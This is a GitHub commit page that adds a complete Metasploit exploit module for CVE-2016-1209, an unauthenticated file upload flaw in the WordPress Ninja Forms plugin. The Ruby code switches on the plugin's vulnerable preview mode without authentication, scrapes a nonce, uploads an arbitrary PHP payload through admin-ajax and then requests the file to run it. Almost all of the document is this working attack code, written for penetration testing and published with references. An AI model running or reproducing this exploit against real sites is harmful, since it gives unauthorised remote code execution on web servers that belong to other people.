forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land rapid7#6909, Add WordPress Ninja Forms unauthenticated file upload
- Loading branch information
Showing
1 changed file
with
158 additions
and
0 deletions.
There are no files selected for viewing
158 changes: 158 additions & 0 deletions
158
modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,158 @@ | ||
## | ||
# This module requires Metasploit: http://www.metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'msf/core' | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::FileDropper | ||
include Msf::Exploit::Remote::HTTP::Wordpress | ||
|
||
def initialize(info = {}) | ||
super(update_info( | ||
info, | ||
'Name' => 'WordPress Ninja Forms Unauthenticated File Upload', | ||
'Description' => %( | ||
Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain | ||
an unauthenticated file upload vulnerability, allowing guests | ||
to upload arbitrary PHP code that can be executed in the context | ||
of the web server. | ||
), | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'James Golovich', # Discovery and disclosure | ||
'Rob Carr <rob[at]rastating.com>' # Metasploit module | ||
], | ||
'References' => | ||
[ | ||
['CVE', '2016-1209'], | ||
['WPVDB', '8485'], | ||
['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities'] | ||
], | ||
'DisclosureDate' => 'May 04 2016', | ||
'Platform' => 'php', | ||
'Arch' => ARCH_PHP, | ||
'Targets' => [['ninja-forms', {}]], | ||
'DefaultTarget' => 0 | ||
)) | ||
|
||
opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])] | ||
register_options(opts, self.class) | ||
end | ||
|
||
def print_status(msg='') | ||
super("#{peer} - #{msg}") | ||
end | ||
|
||
def print_good(msg='') | ||
super("#{peer} - #{msg}") | ||
end | ||
|
||
def print_error(msg='') | ||
super("#{peer} - #{msg}") | ||
end | ||
|
||
def check | ||
check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36') | ||
end | ||
|
||
def enable_v3_functionality | ||
print_status 'Enabling vulnerable V3 functionality...' | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => target_uri.path, | ||
'vars_get' => { 'nf-switcher' => 'upgrade' } | ||
) | ||
|
||
unless res && res.code == 200 | ||
fail_with(Failure::Unreachable, 'Failed to enable the vulnerable V3 functionality') | ||
end | ||
|
||
vprint_good 'Enabled V3 functionality' | ||
end | ||
|
||
def disable_v3_functionality | ||
print_status 'Disabling vulnerable V3 functionality...' | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => target_uri.path, | ||
'vars_get' => { 'nf-switcher' => 'rollback' } | ||
) | ||
|
||
if res && res.code == 200 | ||
vprint_good 'Disabled V3 functionality' | ||
else | ||
print_error 'Failed to disable the vulnerable V3 functionality' | ||
end | ||
end | ||
|
||
def generate_mime_message(payload_name, nonce) | ||
data = Rex::MIME::Message.new | ||
data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"') | ||
data.add_part(nonce, nil, nil, 'form-data; name="security"') | ||
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"") | ||
data | ||
end | ||
|
||
def fetch_ninja_form_nonce | ||
uri = normalize_uri(target_uri.path, datastore['FORM_PATH']) | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => uri | ||
) | ||
|
||
fail_with Failure::UnexpectedReply, 'Failed to acquire a nonce' unless res && res.code == 200 | ||
res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1] | ||
end | ||
|
||
def upload_payload(data) | ||
res = send_request_cgi( | ||
'method' => 'POST', | ||
'uri' => wordpress_url_admin_ajax, | ||
'ctype' => "multipart/form-data; boundary=#{data.bound}", | ||
'data' => data.to_s | ||
) | ||
|
||
fail_with(Failure::Unreachable, 'No response from the target') if res.nil? | ||
vprint_error("Server responded with status code #{res.code}") if res.code != 200 | ||
end | ||
|
||
def execute_payload(payload_name, payload_url) | ||
register_files_for_cleanup("nftmp-#{payload_name.downcase}") | ||
res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5) | ||
|
||
if !res.nil? && res.code == 404 | ||
print_error("Failed to upload the payload") | ||
else | ||
print_good("Executed payload") | ||
end | ||
end | ||
|
||
def exploit | ||
# Vulnerable code is only available in the version 3 preview mode, which can be | ||
# enabled by unauthenticated users due to lack of user level validation. | ||
enable_v3_functionality | ||
|
||
# Once the V3 preview mode is enabled, we can acquire a nonce by requesting any | ||
# page that contains a form generated by Ninja Forms. | ||
nonce = fetch_ninja_form_nonce | ||
|
||
print_status("Preparing payload...") | ||
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php" | ||
payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}") | ||
data = generate_mime_message(payload_name, nonce) | ||
|
||
print_status("Uploading payload to #{payload_url}") | ||
upload_payload(data) | ||
|
||
print_status("Executing the payload...") | ||
execute_payload(payload_name, payload_url) | ||
|
||
# Once the payload has been executed, we can disable the preview functionality again. | ||
disable_v3_functionality | ||
end | ||
end |